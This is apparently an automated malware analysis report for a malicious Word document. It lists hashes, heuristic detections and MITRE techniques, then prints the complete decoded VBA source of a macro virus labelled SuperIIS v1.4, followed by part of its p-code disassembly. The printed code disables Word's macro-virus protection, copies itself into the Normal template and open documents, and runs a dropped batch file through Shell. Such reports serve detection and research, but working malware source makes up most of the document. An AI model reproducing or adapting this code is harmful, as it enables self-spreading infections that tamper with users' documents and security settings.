Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 64e62deb0c94fee8…

MALICIOUS

Office (OLE)

56.5 KB Created: 1999-06-13 19:05:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 99147ff5d0fbe34b5cc767f4811ebea7 SHA-1: e5a26bb4c930b7aa5eca67a900366ba23bc8e096 SHA-256: 64e62deb0c94fee8d15f274adfa712fc570aad7f172bc0a63ce491d3d2713533
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close functions, which are indicative of malicious intent. The critical OLE_VBA_SHELL heuristic firing confirms the use of the Shell() function, which is likely used to execute downloaded payloads. The script attempts to import a file named 'Flitnic.drv' from the Windows system directory and copies 'lo.sys' to 'c:\Troop.dat', suggesting a multi-stage infection process.

Heuristics 9

  • ClamAV: Doc.Trojan.IIS-19 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.IIS-19
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    a = Shell(windir & "\System\lo.bat", 0)
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    actdoche.VBComponents(t).codemodule.deletelines 1, actdoche.VBComponents.Item(t).codemodule.countoflines
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    FullCodeN = "Sub AutoClose()" & Chr(13)
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    windir = Environ("windir")
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42093 bytes
SHA-256: 58d3887e66891f81fad5349366addf4538c971b51210dea82aba99ff4e165d18
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modul1"
Sub AutoOpen()
'On Error GoTo eb
'MyName=SuperIISv1.4
a = Dir(NormalTemplate.FullName)
If a = "" Then GoTo NoSet
SetAttr NormalTemplate.FullName, vbNormal
NoSet:
Call Flitnic
eb:
End Sub
Sub ViewVbCode()
windir = Environ("windir")
look = Dir("c:\temp2.dat")
If look <> "" Then
ReDim m(2)
Set m(1) = ActiveDocument.VBProject
Set m(2) = NormalTemplate.VBProject
Close
Open "c:\temp2.dat" For Input As #1
Line Input #1, mood
If mood = "n" Then
windir = Environ("windir")
Set mood = m(2)
Else
Set mood = m(1)
End If
mood.VBComponents.Import windir & "\System\Flitnic.drv"
Exit Sub
End If
On Error GoTo NoDoc
Set opttt = Options
Set nmtmpl = NormalTemplate.VBProject
Set actdoche = ActiveDocument.VBProject
NoSet:
windir = Environ("windir")
ms = actdoche.VBComponents.Count
For t = 1 To ms
ls = actdoche.VBComponents(t).codemodule.countoflines
If ls > 3 Then l = actdoche.VBComponents(t).codemodule.Lines(3, 1)
If UCase(l) = "'MYNAME=SUPERIISV1.4" Then
Acd = 1
Exit For
End If
Next t
actdoche.VBComponents(t).codemodule.deletelines 1, actdoche.VBComponents.Item(t).codemodule.countoflines
actdoche.VBComponents.Remove actdoche.VBComponents(t)
ActiveDocument.Saved = True
NoDoc:
ms = nmtmpl.VBComponents.Count
For t2 = 2 To ms
ls = nmtmpl.VBComponents(t2).codemodule.countoflines
If ls > 3 Then l = nmtmpl.VBComponents(t2).codemodule.Lines(3, 1)
If UCase(l) = "'MYNAME=SUPERIISV1.4" Then
NormT = 1
Exit For
End If
Next t2
FileCopy windir & "\System\lo.sys", "c:\Troop.dat"
a = Shell(windir & "\System\lo.bat", 0)
nmtmpl.VBComponents(t2).codemodule.deletelines 1, nmtmpl.VBComponents(t2).codemodule.countoflines
nmtmpl.VBComponents.Remove nmtmpl.VBComponents(t2)
esub:
eb:
Application.ShowVisualBasicEditor = True
NoDocL:
opttt.SaveNormalPrompt = False
NormalTemplate.Saved = True
End Sub
Sub ToolsMacro()
On Error GoTo NoDoc
Set opttt = Options
Set nmtmpl = NormalTemplate.VBProject
Set actdoche = ActiveDocument.VBProject
a = Dir(NormalTemplate.FullName)
If a = "" Then GoTo NoSet
SetAttr (NormalTemplate.FullName), vbNormal
NoSet:
'Save ActiveDocument:
ms = actdoche.VBComponents.Count
For t = 1 To ms
ls = actdoche.VBComponents(t).codemodule.countoflines
If ls > 3 Then l = actdoche.VBComponents(t).codemodule.Lines(3, 1)
If UCase(l) = "'MYNAME=SUPERIISV1.4" Then
Acd = 1
Exit For
End If
Next t
If Acd = 1 Then
FullCodeD = "Sub AutoOpen" & Chr(13)
FullCodeN = "Sub AutoClose()" & Chr(13)
a = actdoche.VBComponents.Item(t).codemodule.countoflines
FullCodeN = FullCodeN & actdoche.VBComponents.Item(t).codemodule.Lines(2, a)
FullCodeD = FullCodeD & actdoche.VBComponents.Item(t).codemodule.Lines(2, a)
End If
'Clean Activedocument:
a = actdoche.VBComponents(t).codemodule.countoflines
actdoche.VBComponents(t).codemodule.deletelines 1, a
ActiveDocument.Saved = True
ActiveDocument.Saved = True
NoDoc:
l = ""
'Save NormalTemplate:
ms = nmtmpl.VBComponents.Count
For t2 = 1 To ms
ls = nmtmpl.VBComponents(t2).codemodule.countoflines
If ls > 3 Then l = nmtmpl.VBComponents(t2).codemodule.Lines(3, 1)
If UCase(l) = "'MYNAME=SUPERIISV1.4" Then
NormT = 1
Exit For
End If
Next t2
If NormT = 1 Then
FullCodeD = "Sub AutoOpen()" & Chr(13)
FullCodeN = "Sub AutoClose()" & Chr(13)
a = nmtmpl.VBComponents.Item(t2).codemodule.countoflines
FullCodeD = FullCodeD & nmtmpl.VBComponents.Item(t2).codemodule.Lines(2, a)
FullCodeN = FullCodeN & nmtmpl.VBComponents.Item(t2).codemodule.Lines(2, a)
End If
'Clean NormalTemplate:
l = ""
On Error GoTo 0
On Error GoTo eb
a = nmtmpl.VBComponents(t2).codemodule.countoflines
nmtmpl.VBComponents(t2).codemodule.deletelines 1, a
NormalTemplate.Saved = True
esub:
a = GetAttr(NormalTemplate.FullName)
If a = 33 Then a = 1
If a = 1 Then GoTo eb
eb:
NormalTemplate.Saved = True
Application.Dialogs(wdDialogToolsMacro).Show
ReInf = True
'If Application.ShowVisualBasicEditor = True Then ReInf = False
Reinfection:
If ReInf = True Then
'Reinfection:
Acd = 0
NormT = 0
If NormT <> 1 Then
NormAt = False
Close #1
look:
ms = nmtmpl.VBComponents.Count
For inn = 2 To ms
a = nmtmpl.VBComponents(inn).codemodule.countoflines
If a < 1 Then
innt = 1
i = 20
Exit For
End If
Next inn
a = Dir(NormalTemplate.FullName)
If a = "" Then GoTo notemp
If NormAt = True Then
NormalTemplate.Saved = True
End If
End If
i = 1
If NormAt <> True Then NormalTemplate.Save
notemp:
If Acd <> 1 Then
Close
look2:
a = Application.Documents.Count
If a < 1 Then GoTo NoDocL
ms = actdoche.VBComponents.Count
For inn2 = 2 To ms
a = actdoche.VBComponents(inn2).codemodule.countoflines
If a < 1 Then
iact = 1
i = 20
Exit For
End If
Next inn2
If UCase(Left(ActiveDocument.FullName, 1)) <> "A" And Mid(ActiveDocument.FullName, 3, 1) = "\" Then
If ActiveDocument.ReadOnly = True Then GoTo noactsave
ActiveDocument.Save
noactsave:
Else
ActiveDocument.Saved = True
End If
End If
If innt = 1 Or iact = 1 Then
If innt = 1 Then
Set inff = NormalTemplate.VBProject
component = inn
FullCode = FullCodeN
InstSys = 1
Else
Set inff = ActiveDocument.VBProject
component = inn2
FullCode = FullCodeD
End If
onceAgain:
inff.VBComponents(component).codemodule.addfromstring (FullCode)
If iact = 1 Then
Set inff = ActiveDocument.VBProject
component = inn2
FullCode = FullCodeD
iact = 0
GoTo onceAgain
End If
End If
NoDocL:
Else
FileCopy windir & "\System\lo.sys", "c:\Troop.dat"
a = Shell(windir & "\System\lo.bat", 0)
For i = 1 To 2
al = nmtmpl.VBComponents(t2).codemodule.countoflines
nmtmpl.VBComponents(t2).codemodule.deletelines 1, al
Next i
End If
opttt.SaveNormalPrompt = False
NormalTemplate.Saved = True
End Sub
Sub Flitnic()
Begin:
On Error GoTo eb
Set opttt = Options
Set nmtmpl = NormalTemplate.VBProject
Set actdoche = ActiveDocument.VBProject
NormAt = False
VBE.CommandBars("Edit").Controls(1).Enabled = False
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
opttt.VirusProtection = False
opttt.ConfirmConversions = False
opttt.SaveNormalPrompt = False
Close #1
windir = Environ("windir")
On Error GoTo NoInf
ms = actdoche.VBComponents.Count
For t = 1 To ms
ls = actdoche.VBComponents(t).codemodule.countoflines
If ls > 3 Then l = actdoche.VBComponents(t).codemodule.Lines(3, 1)
If UCase(l) = "'MYNAME=SUPERIISV1.4" Then
Acd = 1
Exit For
End If
Next t
l = ""
If Acd = 1 Then
FullCodeN = "Sub AutoClose()" & Chr(13)
a = actdoche.VBComponents.Item(t).codemodule.countoflines
FullCodeN = FullCodeN & actdoche.VBComponents.Item(t).codemodule.Lines(2, a)
End If
ms = nmtmpl.VBComponents.Count
For t2 = 1 To ms
ls = nmtmpl.VBComponents(t2).codemodule.countoflines
If ls > 3 Then l = nmtmpl.VBComponents(t2).codemodule.Lines(3, 1)
If UCase(l) = "'MYNAME=SUPERIISV1.4" Then
NormT = 1
Exit For
End If
Next t2
If NormT = 1 Then
FullCodeD = "Sub AutoOpen()" & Chr(13)
a = nmtmpl.VBComponents.Item(t2).codemodule.countoflines
FullCodeD = FullCodeD & nmtmpl.VBComponents.Item(t2).codemodule.Lines(2, a)
End If
If NormT <> 1 Then
look:
ms = nmtmpl.VBComponents.Count
For inn = 2 To ms
a = nmtmpl.VBComponents(inn).codemodule.countoflines
If a < 1 Then
innt = 1
i = 20
Exit For
End If
Next inn
If i <> 20 Then
Close #1
a = Dir(windir & "\System\Flitnic.drv")
If a <> "" Then Kill windir & "\system\Flitnic.drv"
Close #1
Open windir & "\System\Flitnic.drv" For Append As #1
Print #1, "Attribute VB_Name = " & Chr(34) & "Modul1" & Chr(34)
Close
InsertC = "n"
mmm = Dir("c:\temp2.dat")
If mmm <> "" Then Kill "c:\temp2.dat"
Close
Open "c:\temp2.dat" For Append As #1
Print #1, InsertC
Close
Call ViewVbCode
Close
Kill "c:\temp2.dat"
GoTo look
End If
End If
i = 1
If Acd <> 1 Then
Close
look2:
ms = actdoche.VBComponents.Count
For inn2 = 2 To ms
a = actdoche.VBComponents(inn2).codemodule.countoflines
If a < 1 Then
iact = 1
i = 20
Exit For
End If
Next inn2
If i <> 20 Then
Close #1
a = Dir(windir & "\System\Flitnic.drv")
If a <> "" Then Kill windir & "\system\Flitnic.drv"
Close #1
Open windir & "\System\Flitnic.drv" For Append As #1
Print #1, "Attribute VB_Name = " & Chr(34) & "Modul1" & Chr(34)
Close #1
InsertC = "nn"
mmm = Dir("c:\temp2.dat")
If mmm <> "" Then Kill "c:\temp2.dat"
Close
Open "c:\temp2.dat" For Append As #1
Print #1, InsertC
Close
Call ViewVbCode
Close
Kill "c:\temp2.dat"
GoTo look2
End If
If UCase(Left(ActiveDocument.FullName, 1)) <> "A" And Mid(ActiveDocument.FullName, 3, 1) = "\" Then
If ActiveDocument.ReadOnly = True Then GoTo noactsave
ActiveDocument.Save
noactsave:
Else
ActiveDocument.Saved = True
End If
End If
If innt = 1 Or iact = 1 Then
If innt = 1 Then
Set inff = NormalTemplate.VBProject
component = inn
FullCode = FullCodeN
InstSys = 1
Else
Set inff = ActiveDocument.VBProject
component = inn2
FullCode = FullCodeD
End If
inff.VBComponents(component).codemodule.addfromstring (FullCode)
If InstSys = 1 Then
a = Dir(windir & "\System\lo.sys")
If a <> "" Then Kill windir & "\System\lo.sys"
NormalTemplate.OpenAsDocument
NormAtt = ActiveDocument.ReadOnly
l = ""
On Error GoTo eb
ActiveDocument.SaveAs FileName:=windir & "\System\lo.sys", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
NormalTemplate.Saved = True
ActiveDocument.Saved = True
ActiveDocument.Close
Close #1
a = Dir(windir & "\System\lo.bat")
If a <> "" Then Kill windir & "\System\lo.bat"
Close
Open windir & "\System\lo.bat" For Append As #1
Print #1, ":Begin"
l = Len(NormalTemplate.FullName)
l = l - 10
For i = 1 To 500
Print #1, "rem Flitnic has cought you... he, he"
Next i
Print #1, ":Begin"
Print #1, "Move /y " & Chr(34) & "c:\Troop.dat" & Chr(34) & " " & Chr(34) & NormalTemplate.FullName & Chr(34)
Print #1, "If exist c:\Troop.dat goto Begin"
Close #1
NormalTemplate.Saved = True
a = Dir(NormalTemplate.FullName)
If a = "" Then GoTo notemp
If NormAt = True Then
End If
notemp:
End If
End If
NoInf:
eb:
a = Dir(NormalTemplate.FullName)
If a = "" Then
NormalTemplate.Saved = False
GoTo NoNormal
End If
If NormAtt = True Then
FileCopy windir & "\System\lo.sys", "c:\Troop.dat"
SetAttr (NormalTemplate.FullName), vbNormal
a = Shell(windir & "\System\lo.bat", 0)
Else
NormalTemplate.Save
End If
NormalTemplate.Saved = True
'The only real- stealth virus till 08. april 1999. Infects Normal.Dot when
'it's ReadOnly too (immediatly, the first time you load an infected
'Document
'Written by Flitnic, member of [S o S] No Payload included yet!
NoNormal:
End Sub

' Processing file: /tmp/qstore_di82stoe
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1063 bytes
' Macros/VBA/Modul1 - 29182 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	QuoteRem 0x0000 0x0010 "On Error GoTo eb"
' Line #2:
' 	QuoteRem 0x0000 0x0013 "MyName=SuperIISv1.4"
' Line #3:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ArgsLd Dir 0x0001 
' 	St a 
' Line #4:
' 	Ld a 
' 	LitStr 0x0000 ""
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo NoSet 
' 	EndIf 
' Line #5:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #6:
' 	Label NoSet 
' Line #7:
' 	ArgsCall (Call) Flitnic 0x0000 
' Line #8:
' 	Label eb 
' Line #9:
' 	EndSub 
' Line #10:
' 	FuncDefn (Sub ViewVbCode())
' Line #11:
' 	LitStr 0x0006 "windir"
' 	ArgsLd Environ 0x0001 
' 	St windir 
' Line #12:
' 	LitStr 0x000C "c:\temp2.dat"
' 	ArgsLd Dir 0x0001 
' 	St look 
' Line #13:
' 	Ld look 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #14:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim m 0x0001 (As Variant)
' Line #15:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	LitDI2 0x0001 
' 	ArgsSet m 0x0001 
' Line #16:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	LitDI2 0x0002 
' 	ArgsSet m 0x0001 
' Line #17:
' 	CloseAll 
' Line #18:
' 	LitStr 0x000C "c:\temp2.dat"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Input)
' Line #19:
' 	LitDI2 0x0001 
' 	Ld mood 
' 	LineInput 
' Line #20:
' 	Ld mood 
' 	LitStr 0x0001 "n"
' 	Eq 
' 	IfBlock 
' Line #21:
' 	LitStr 0x0006 "windir"
' 	ArgsLd Environ 0x0001 
' 	St windir 
' Line #22:
' 	SetStmt 
' 	LitDI2 0x0002 
' 	ArgsLd m 0x0001 
' 	Set mood 
' Line #23:
' 	ElseBlock 
' Line #24:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	ArgsLd m 0x0001 
' 	Set mood 
' Line #25:
' 	EndIfBlock 
' Line #26:
' 	Ld windir 
' 	LitStr 0x0013 "\System\Flitnic.drv"
' 	Concat 
' 	Ld mood 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #27:
' 	ExitSub 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	OnError NoDoc 
' Line #30:
' 	SetStmt 
' 	Ld Options 
' 	Set opttt 
' Line #31:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	Set nmtmpl 
' Line #32:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	Set actdoche 
' Line #33:
' 	Label NoSet 
' Line #34:
' 	LitStr 0x0006 "windir"
' 	ArgsLd Environ 0x0001 
' 	St windir 
' Line #35:
' 	Ld actdoche 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St ms 
' Line #36:
' 	StartForVariable 
' 	Ld t 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ms 
' 	For 
' Line #37:
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St ls 
' Line #38:
' 	Ld ls 
' 	LitDI2 0x0003 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	St l 
' 	EndIf 
' Line #39:
' 	Ld l 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x0014 "'MYNAME=SUPERIISV1.4"
' 	Eq 
' 	IfBlock 
' Line #40:
' 	LitDI2 0x0001 
' 	St Acd 
' Line #41:
' 	ExitFor 
' Line #42:
' 	EndIfBlock 
' Line #43:
' 	StartForVariable 
' 	Ld t 
' 	EndForVariable 
' 	NextVar 
' Line #44:
' 	LitDI2 0x0001 
' 	Ld t 
' 	Ld actdoche 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemCall deletelines 0x0002 
' Line #45:
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	Ld actdoche 
' 	MemLd VBComponents 
' 	ArgsMemCall Remove 0x0001 
' Line #46:
' 	LitVarSpecial (True)
' 	Ld ActiveDocument 
' 	MemSt Saved 
' Line #47:
' 	Label NoDoc 
' Line #48:
' 	Ld nmtmpl 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St ms 
' Line #49:
' 	StartForVariable 
' 	Ld t2 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	Ld ms 
' 	For 
' Line #50:
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St ls 
' Line #51:
' 	Ld ls 
' 	LitDI2 0x0003 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	St l 
' 	EndIf 
' Line #52:
' 	Ld l 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x0014 "'MYNAME=SUPERIISV1.4"
' 	Eq 
' 	IfBlock 
' Line #53:
' 	LitDI2 0x0001 
' 	St NormT 
' Line #54:
' 	ExitFor 
' Line #55:
' 	EndIfBlock 
' Line #56:
' 	StartForVariable 
' 	Ld t2 
' 	EndForVariable 
' 	NextVar 
' Line #57:
' 	Ld windir 
' 	LitStr 0x000E "\System\lo.sys"
' 	Concat 
' 	LitStr 0x000C "c:\Troop.dat"
' 	ArgsCall FileCopy 0x0002 
' Line #58:
' 	Ld windir 
' 	LitStr 0x000E "\System\lo.bat"
' 	Concat 
' 	LitDI2 0x0000 
' 	ArgsLd Shell 0x0002 
' 	St a 
' Line #59:
' 	LitDI2 0x0001 
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemCall deletelines 0x0002 
' Line #60:
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	Ld nmtmpl 
' 	MemLd VBComponents 
' 	ArgsMemCall Remove 0x0001 
' Line #61:
' 	Label esub 
' Line #62:
' 	Label eb 
' Line #63:
' 	LitVarSpecial (True)
' 	Ld Application 
' 	MemSt ShowVisualBasicEditor 
' Line #64:
' 	Label NoDocL 
' Line #65:
' 	LitVarSpecial (False)
' 	Ld opttt 
' 	MemSt SaveNormalPrompt 
' Line #66:
' 	LitVarSpecial (True)
' 	Ld NormalTemplate 
' 	MemSt Saved 
' Line #67:
' 	EndSub 
' Line #68:
' 	FuncDefn (Sub ToolsMacro())
' Line #69:
' 	OnError NoDoc 
' Line #70:
' 	SetStmt 
' 	Ld Options 
' 	Set opttt 
' Line #71:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	Set nmtmpl 
' Line #72:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	Set actdoche 
' Line #73:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ArgsLd Dir 0x0001 
' 	St a 
' Line #74:
' 	Ld a 
' 	LitStr 0x0000 ""
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo NoSet 
' 	EndIf 
' Line #75:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	Paren 
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #76:
' 	Label NoSet 
' Line #77:
' 	QuoteRem 0x0000 0x0014 "Save ActiveDocument:"
' Line #78:
' 	Ld actdoche 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St ms 
' Line #79:
' 	StartForVariable 
' 	Ld t 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ms 
' 	For 
' Line #80:
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St ls 
' Line #81:
' 	Ld ls 
' 	LitDI2 0x0003 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	St l 
' 	EndIf 
' Line #82:
' 	Ld l 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x0014 "'MYNAME=SUPERIISV1.4"
' 	Eq 
' 	IfBlock 
' Line #83:
' 	LitDI2 0x0001 
' 	St Acd 
' Line #84:
' 	ExitFor 
' Line #85:
' 	EndIfBlock 
' Line #86:
' 	StartForVariable 
' 	Ld t 
' 	EndForVariable 
' 	NextVar 
' Line #87:
' 	Ld Acd 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #88:
' 	LitStr 0x000C "Sub AutoOpen"
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St FullCodeD 
' Line #89:
' 	LitStr 0x000F "Sub AutoClose()"
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St FullCodeN 
' Line #90:
' 	Ld t 
' 	Ld actdoche 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St a 
' Line #91:
' 	Ld FullCodeN 
' 	LitDI2 0x0002 
' 	Ld a 
' 	Ld t 
' 	Ld actdoche 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	Concat 
' 	St FullCodeN 
' Line #92:
' 	Ld FullCodeD 
' 	LitDI2 0x0002 
' 	Ld a 
' 	Ld t 
' 	Ld actdoche 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	Concat 
' 	St FullCodeD 
' Line #93:
' 	EndIfBlock 
' Line #94:
' 	QuoteRem 0x0000 0x0015 "Clean Activedocument:"
' Line #95:
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St a 
' Line #96:
' 	LitDI2 0x0001 
' 	Ld a 
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemCall deletelines 0x0002 
' Line #97:
' 	LitVarSpecial (True)
' 	Ld ActiveDocument 
' 	MemSt Saved 
' Line #98:
' 	LitVarSpecial (True)
' 	Ld ActiveDocument 
' 	MemSt Saved 
' Line #99:
' 	Label NoDoc 
' Line #100:
' 	LitStr 0x0000 ""
' 	St l 
' Line #101:
' 	QuoteRem 0x0000 0x0014 "Save NormalTemplate:"
' Line #102:
' 	Ld nmtmpl 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St ms 
' Line #103:
' 	StartForVariable 
' 	Ld t2 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ms 
' 	For 
' Line #104:
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St ls 
' Line #105:
' 	Ld ls 
' 	LitDI2 0x0003 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	St l 
' 	EndIf 
' Line #106:
' 	Ld l 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x0014 "'MYNAME=SUPERIISV1.4"
' 	Eq 
' 	IfBlock 
' Line #107:
' 	LitDI2 0x0001 
' 	St NormT 
' Line #108:
' 	ExitFor 
' Line #109:
' 	EndIfBlock 
' Line #110:
' 	StartForVariable 
' 	Ld t2 
' 	EndForVariable 
' 	NextVar 
' Line #111:
' 	Ld NormT 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #112:
' 	LitStr 0x000E "Sub AutoOpen()"
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St FullCodeD 
' Line #113:
' 	LitStr 0x000F "Sub AutoClose()"
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St FullCodeN 
' Line #114:
' 	Ld t2 
' 	Ld nmtmpl 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St a 
' Line #115:
' 	Ld FullCodeD 
' 	LitDI2 0x0002 
' 	Ld a 
' 	Ld t2 
' 	Ld nmtmpl 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	Concat 
' 	St FullCodeD 
' Line #116:
' 	Ld FullCodeN 
' 	LitDI2 0x0002 
' 	Ld a 
' 	Ld t2 
' 	Ld nmtmpl 
…